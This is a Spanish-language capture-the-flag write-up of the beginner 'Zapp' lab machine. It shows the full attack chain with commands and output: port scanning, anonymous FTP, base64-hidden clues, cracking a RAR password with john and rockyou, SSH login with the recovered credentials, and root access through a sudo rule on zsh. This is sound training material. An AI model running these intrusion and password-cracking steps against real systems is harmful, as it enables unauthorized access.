CorvusDDosKRom

The Hackers Labs: Zapp

Principiante

Zapp es una máquina de nivel principiante en The Hackers Labs.

Linux
The Hackers Labs
FTP Anonymous FTP SSH

Zapp

Plataforma: The Hackers Labs

Dificultad: Principiante

🔗 Link de la máquina: https://labs.thehackerslabs.com

Zapp

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN zapp.txt 192.168.100.7
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-15 13:16 -0300
Nmap scan report for 192.168.100.7
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.100.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              28 Oct 29 20:59 login.txt
|_-rw-r--r--    1 0        0              65 Oct 29 21:23 secret.txt
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 a3:23:b3:aa:df:c6:51:cb:a2:0c:92:8e:6b:fe:96:ee (RSA)
|   256 fd:95:2f:2f:7f:5a:21:b5:0e:75:2c:da:18:c9:52:35 (ECDSA)
|_  256 a1:0e:0d:79:8e:54:3e:0e:ed:2f:96:d6:d3:9a:9f:a6 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: zappskred - CTF Challenge
|_http-server-header: Apache/2.4.65 (Debian)
MAC Address: 08:00:27:99:A0:2E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.38 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN zapp.txt: Guarda los resultados en el archivo “zapp.txt”.

Puertos descubiertos:

  • 21/tcp - FTP (vsftpd 3.0.3) — login anónimo habilitado con dos archivos: login.txt y secret.txt
  • 22/tcp - SSH (OpenSSH 8.4p1)
  • 80/tcp - HTTP (Apache 2.4.65) — título: “zappskred - CTF Challenge”

Enumeración FTP

El escaneo revela que el FTP permite login anónimo y expone dos archivos. Los descargamos:

ftp 192.168.100.7
Name: anonymous
Password: (vacío)
get login.txt
get secret.txt
login.txt:
coffee
4444

secret.txt:
la pista está en la taza
  • login.txt contiene dos pistas: coffee (referencia temática al café) y 4444 (número de capas de decodificación base64).
  • secret.txt indica: “la pista está en la taza” — nos dirige a buscar en la página web (la taza de café).

Exploración Web

Accedemos al puerto 80 en http://192.168.100.7/.

Web

La página muestra un troll face con el texto “CTF Challenge” — claramente un señuelo visual. Sin embargo, inspeccionamos el código fuente de la página buscando información oculta.


Análisis del Código Fuente

Dado que la página visualmente no muestra nada útil, inspeccionamos el código fuente en busca de cualquier información que pudiera servir como usuario, contraseña o pista. Durante esta revisión encontramos que el <title> de la página contiene un nombre que no aparece en ningún lugar visible:

<title>zappskred - CTF Challenge</title>

Tras probar distintos posibles usuarios, zappskred resultó ser un usuario válido del sistema. Lo anotamos para usarlo más adelante.

Además, encontramos un elemento <div> oculto mediante CSS:

<div style="display:none">4444 VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=</div>

El div contiene dos valores:

  • 4444: confirma la pista de login.txt — indica el número de veces que hay que decodificar en base64.
  • VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=: string codificado en base64.

Decodificación Base64

Usando CyberChef aplicamos 4 capas de decodificación Base64 consecutivas sobre el string:

Capa 1: VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=
Capa 2: V1ROV2RHRkhlbG5hVjBwV1ZsVjBiRkpXZW1oSlZtMTBkR1JzV25wUVZEZz0K
Capa 3: WTNWdGFHeHZZMXBWVlUwbFJXZmhJVm10MGRGUnNXbnBQVlRnPQo=
Capa 4: Y3VhdHJvY3VhdHJvdmVjZXMK
Resultado: cuatrocuatroveces

CyberChef

El resultado decodificado es cuatrocuatroveces — no es una contraseña, sino la ruta a un directorio oculto en el servidor web.


Directorio Oculto

Navegamos a http://192.168.100.7/cuatrocuatroveces/:

Directory

El Apache directory listing expone un archivo: Sup3rP4ss.rar (174 bytes). Lo descargamos:

wget http://192.168.100.7/cuatrocuatroveces/Sup3rP4ss.rar

Cracking del RAR

El archivo está protegido con contraseña. Extraemos el hash con rar2john y lo crackeamos con john:

rar2john Sup3rP4ss.rar > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
reema            (Sup3rP4ss.rar)
1g 0:00:01:49 DONE (2025-11-15 13:41) 0.009097g/s 768.5p/s 768.5c/s 768.5C/s
Session completed.

Contraseña encontrada: reema. Extraemos el contenido:

unrar x Sup3rP4ss.rar
Enter password (will not be echoed) for Sup3rP4ss.txt:

Extracting  Sup3rP4ss.txt                                             OK
All OK
cat Sup3rP4ss.txt
Intenta probar con más >> 3spuM4

El archivo revela la contraseña SSH: 3spuM4.


Acceso Inicial

Con el usuario zappskred (del título de la página web) y la contraseña 3spuM4 (del RAR), nos conectamos por SSH:

ssh zappskred@192.168.100.7
zappskred@192.168.100.7's password: 3spuM4

SSH Zappskred

Acceso obtenido como usuario zappskred. Leemos la flag de usuario:

cat user.txt
ZWwgbWVqb3IgY2FmZQo=

User Flag


Escalada de Privilegios

Enumeración sudo

Verificamos los permisos sudo del usuario zappskred:

sudo -l
Matching Defaults entries for zappskred on TheHackersLabs-ZAPP:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zappskred may run the following commands on TheHackersLabs-ZAPP:
    (root) /bin/zsh

El usuario puede ejecutar /bin/zsh como root. Dado que zsh es una shell interactiva, ejecutarla con sudo nos otorga una shell de root directamente:

sudo /bin/zsh
# id
uid=0(root) gid=0(root) groups=0(root)

Root

Leemos la flag de root:

cat /root/root.txt
c2llbXByZSBlcyBudWVzdHJvSHJvCg==

Root Flag


¡Root conseguido!

Hemos completado exitosamente la máquina Zapp de The Hackers Labs.


Colaboradores

Este writeup fue elaborado en colaboración con:

Agradecimiento especial por el trabajo conjunto en la resolución de esta máquina.